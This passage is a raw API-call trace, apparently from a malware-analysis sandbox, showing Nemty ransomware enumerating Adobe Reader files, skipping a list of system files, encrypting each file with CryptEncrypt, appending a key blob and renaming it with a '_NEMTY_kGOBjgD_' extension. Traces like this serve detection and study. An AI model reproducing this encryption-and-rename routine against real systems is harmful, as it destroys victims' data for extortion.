lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.466] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28364) returned 1 [0215.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.466] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.466] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.470] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.470] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.470] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28364, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ecc [0215.470] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.470] CloseHandle (hObject=0x2e8) returned 1 [0215.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.471] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt._nemty_kgobjgd_")) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.472] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_PA.txt", cAlternateFileName="DI714F~1.TXT")) returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2=".") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="..") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="...") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="windows") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="rsa") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="NTDETECT.COM") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="ntldr") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="MSDOS.SYS") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="IO.SYS") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="boot.ini") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="boot.ini") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="ntuser.dat") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="desktop.ini") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="CONFIG.SYS") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="RECYCLER") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="bootmgr") returned 1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="programdata") returned -1 [0215.472] lstrcmpiW (lpString1="DisplayLanguageNames.es_PA.txt", lpString2="appdata") returned 1 [0215.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.473] Sleep (dwMilliseconds=0x5) [0215.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3412f430, dwHighDateTime=0x1d561e8)) [0215.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3412f430, dwHighDateTime=0x1d561e8)) [0215.481] GetLastError () returned 0x0 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.481] GetLastError () returned 0x0 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.481] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.481] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="V1maaPBE61AqVfWpoQiVxLaq7QtXjyUPAm1xMCZLhtDOfpZLKkpsVczvy3wtlwnw\r\nWg399ufpRrbF+8b4TilwxbfOPmubekkfbi6s54aCxNLMaM40iIXJK4h5c9/XLk4u\r\nYysaxNOuTgHHlc1baN72eob52kKP1vg5TX38dmTid0wLM6kJ/FAjkUzp6e3Mo/Uv\r\n3u0CjEeBvsSUcweAi7E0rWGVgrl2QugM6JiERNcRcubGrzpgw/junUo+cyfhj9BC\r\n00gupIRgvbXLLseVSLuSgz8VW86l/64U7xMMQ8wCGBdJHTSvDsJaVWnsy6KZ/I3E\r\nQ0JPMhbQWe+V6Fe16eKJEg==\r\n", pcchString=0x653e5dc) returned 1 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.482] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.483] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.486] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.486] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.488] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.488] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.488] CloseHandle (hObject=0x2e8) returned 1 [0215.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.489] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt._nemty_kgobjgd_")) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.490] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_PE.txt", cAlternateFileName="DIE843~1.TXT")) returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2=".") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="..") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="...") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="windows") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="rsa") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="NTDETECT.COM") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="ntldr") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="MSDOS.SYS") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="IO.SYS") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="boot.ini") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="boot.ini") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="ntuser.dat") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="desktop.ini") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="CONFIG.SYS") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="RECYCLER") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="bootmgr") returned 1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="programdata") returned -1 [0215.490] lstrcmpiW (lpString1="DisplayLanguageNames.es_PE.txt", lpString2="appdata") returned 1 [0215.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.491] RtlAllocateHeap 